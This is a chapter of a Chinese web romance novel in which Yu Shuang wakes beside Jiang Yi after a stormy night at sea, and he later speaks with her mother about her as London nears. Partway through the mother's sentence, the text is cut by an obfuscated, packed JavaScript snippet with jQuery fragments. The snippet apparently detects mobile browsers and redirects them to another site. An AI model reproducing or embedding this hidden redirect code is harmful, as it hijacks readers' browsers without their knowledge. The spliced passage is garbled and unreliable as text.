54. 家的方向
作品:《大小姐的航海训犬日志》 于霜是在疲惫中恢复意识的。
她眼皮沉重得几乎睁不开,感觉全身骨头像是在被拆开重组过一样,尤其是腰肢和腿根,传来清晰的酸痛感。
她费力地动了动手指,所触碰到一片温热而坚实的肌肤。
记忆碎片随着身体切实的感受如潮水般涌回。
雷雨的轰鸣,紧扣的十指,低哑的喘息声以及自己支离破碎的恳求,她的脸颊瞬间烧了起来。
“醒了?”低沉沙哑的声音在头顶响起。
于霜嘤咛一声试图翻身,腿间的酸软却让她瞬间拧起了眉。
“别动。”他手臂用力,帮她调整到一个更舒服的姿势。
于霜掀开眼皮,一眼就看见了江熠近在咫尺的胸膛。
晨光透过窗户,照在他小麦色的肌肤上,上面交错着几道明显的抓痕,从胸口斜划到肋下,红痕未消。
甚至在靠近肩窝的地方,还有个小小的牙印,一眼就知道是谁咬出来的。
而他的锁骨,颈侧,都散落着深浅不一的暧昧红痕。
她的杰作。
这个认知让热度瞬间爬上她的脸颊和耳根。于霜下意识地想低头躲开视线,目光却不由自主地落在自己露在薄毯外面的手臂上。
原本白皙光滑的肌肤,此刻从肩头到胸口,布满了深深浅浅的印记,像被仔细盖上了专属印章一样。
薄毯下面的情况……她根本不用看也知道只会更糟。
他还真是属狗的,到处咬人。
“看什么?”江熠的手臂依旧环在她腰间,掌心贴在她最酸软的部位,不轻不重地揉捏着。
他体温比她高,熨帖着皮肤,很大程度缓解了于霜的不适。
“看你干的好事。”于霜声音带着鼻音和浓浓的疲惫,没什么威慑力,反而像撒娇。
她想瞪他,却发现自己连瞪眼的力气都没有,眼皮沉甸甸的。
江熠低低地“嗯”了一声,坦然承认。他低下头,吻了吻她的额角,“我的错。”
他认错,语气里却听不出多少诚意,反而有种餍足的暗哑。
他的吻开始往下游移,落在她红肿的唇上,轻轻厮磨,舌尖舔舐过她有些干裂的唇瓣。
“还疼吗?”他问,气息炽热。
于霜被他亲得呼吸又又些乱,偏开头,把脸埋进他的肩窝,声音含糊:“……全身都疼。”
“哪里最疼?”他追问,手从她腰间滑下,抚过她紧绷的腿侧,引来她一阵细微的颤抖。
“都疼……腰,腿,还有……”她说不下去了,往他怀里缩了缩。
江熠沉默片刻,忽然掀开薄毯起身。凉意瞬间侵袭,于霜不满地哼了一声,迷迷糊糊睁开眼,看见他随意套上长裤,精壮的上半身背后全是抓痕。
很快,江熠就带着温热的湿毛巾回来,重新将她笼入怀中。
“敷一下会好一点。”他用毛巾轻轻敷在她最酸胀的腰窝,另一只手则继续力道适中地按摩她的小腿。
于霜像只被顺毛的猫,舒服地蜷了蜷,任由他伺候。
他掌心很热,搭配着热毛巾,舒缓了肌肉筋骨的酸麻僵硬。
她闭着眼,昏昏欲睡,只有在江熠偶尔碰到某些过于敏感的地方时,才会发出不满地轻哼声和吸气声。
“轻点……”于霜嘟囔。
江熠明知故问:“哪里?这里?”他点了点她脖子上的吻痕。
“……嗯”她缩了缩脖子。
江熠低头,在那痕迹上又是一吻,引来她更明显的瑟缩:“盖个章。”
“滚蛋……”于霜有气无力地骂,嘴角却不受控制地弯了弯。
伺候她简单清理后,江熠自己快速洗漱,然后端来了早餐。
他把她连人带毯裹好,抱到桌边,让她靠着自己坐稳。
“自己吃,还是我喂?”他问,将勺子递到她手边。
于霜试了试,发现手指还有些发软,拿勺子不太稳。她干脆放弃了,往后一靠,仰起脸看他,理直气壮地指挥:“你喂,我没力气。”
江熠从善如流,小心吹温,送到她嘴边。
他喂得很耐心,一小口一小口,不时用指腹擦去她嘴角的痕迹。
于霜就这他的收吃,目光却一直落在他身上。
江熠换上了一件深色高领衬衣,领口严严实实扣到了最上面一颗,但他侧头时,下颌处被她用指甲划出的血痕刚好露出来,暧昧又微妙。
吃完后,江熠收拾了托盘。于霜靠在他怀里,眼皮又开始打架。
他搂着她,低声说:“你再睡会儿。我去跟船长和珀金斯先生确认一下航线和抵达时间。”
“嗯……”于霜迷迷糊糊应着,手指却勾着他的衣角。
江熠握住她的手,轻轻吻了吻她的指尖:“很快回来。”
–
甲板上。
江熠找到正在查看海图的船长和珀金斯夫妇,简单汇报了目前的位置和气象。
威廉船长交代了几句靠港手续的事情,便先一步离开了。
珀金斯夫人关切问:“江副船长,霜儿呢?她还没起来吗?是不是昨天被风暴吓到了,没休息好?”
江熠轻咳一声,面色如常,只是耳根似乎有些泛红。他垂下视线,语气平常地回答:“她……她昨晚睡得晚,还有点累,多休息一下比较好。”
珀金斯夫人是何等敏锐,她原本只是随口一问,此刻却注意到江熠今天不同寻常的穿搭,即使扣子扣到喉结出,她还是看见了他下颌处的抓痕和印记。
珀金斯夫人目光微凝,又想到江熠今早从女儿房间里出来,以及他此刻周身餍足的气场,心下顿时了然。
于霜这孩子,还真是……
她没有点破,只是眼中闪过一丝温和的笑意:“那孩子,肯定累坏了,是该好好休息。江副船长,麻烦你这段时间多照顾她,她也是个娇气没吃过苦的……”
“应该的。”江熠颔首。
珀金斯先生插嘴道:“奥得丽,海风有点凉,我去给你拿条披肩。”
甲板上暂时只剩下珀金斯夫人和江熠。
珀金斯夫人缓缓开口:“江副船长,这次真的多谢你。没有你,霜儿不可能把我们平安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811931|181538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带出来,她自己恐怕也……”
江熠低头,态度恭谨:“职责所在。”
顿了顿,又补充到,“是西蒙小姐……她的勇气和智慧,才是关键。”
珀金斯夫人笑了笑:“霜儿这孩子,从小就有主意,看着娇滴滴的,骨子里执拗得很,认定的事,十头牛也拉不回来。这次为了找我们,她一定吃了很多苦,冒了很多险,这一路上,你觉得她……怎么样?我是说,抛开那些职责。”
江熠沉默片刻,仿佛在组织语言,开口的每个字都字斟句酌。
“她……很了不起。”
他慢慢展开:“她比我见过的很多水手,很多贵族都更懂海,不是纸上谈兵,是真正能读懂风,看懂浪。每次我们遇到绝境,她想的不是害怕,而是怎么利用手边一切东西反击,逃脱,能最快发现不对劲,能想出别人想不到的办法。”
江熠一口气说了很多,完全不像他平时的性格。
“她看着像是需要被保护的花朵,但其实是能劈开风浪的利刃。骄傲,聪明,执着……”他想起了她那些不计后果的冒险,“……也很可爱,很真诚。”
珀金斯夫人静静地听着,眼中笑意渐深。
“只是这样吗?”珀金斯夫人温和地追问。
江熠转过头,坦然对上珀金斯夫人的注视。
“不,”他否认得很快,“她……还很耀眼。看着她为了目标不顾一切的样子,会让人想陪她一起,护着她,让她能一直这样耀眼下去。”
这恐怕是江熠这么久以来说过的最长最多的一句话。
他不善言辞,但此时此刻,他的情感满得快要溢出来,于霜在他眼里就是这么好,就是配得上这么多极好的修饰词。
珀金斯夫人点了点头。
“她有时候很任性,被我们惯坏了,”她亲昵地嗔怪,“以后……可能要辛苦你多多担待了。”
江熠道:“我会的。”
这时,珀金斯先生拿着披肩回来,体贴地为妻子披上。珀金斯夫人示意江熠也回房休息,便挽着丈夫的手臂离开了。
–
江熠推门回来时,于霜果然又睡着了,她蜷缩在毯子里,只露出小半张脸和散在枕上的黑发。
他放轻脚步走到床边,没有立刻叫醒她,只是坐在床沿,静静凝视她的睡颜,忍不住回想珀金斯夫人的话。
这是不是代表,他可以名正言顺地站在她旁边了?
良久,他才伸手,用指背极轻地蹭了蹭她温热的脸颊。
“于霜。”他低声唤。
“唔……”她无意识地将脸往他手心蹭了蹭,像寻求温暖的小动物。
“我们快到了。”他声音压得低,“下午,应该就能看见伦敦港的影子了。”
于霜睫毛颤动,没有说话,只是伸出手臂,环住他的脖颈,将他拉向自己,然后仰头,吻印在他唇上,一触即分。
“知道了。”她松开手,重新躺回去,闭上眼,却将手塞进了他的掌心。
江熠反手紧握,与她十指相扣。
窗外,海天一色,航向已然在望。

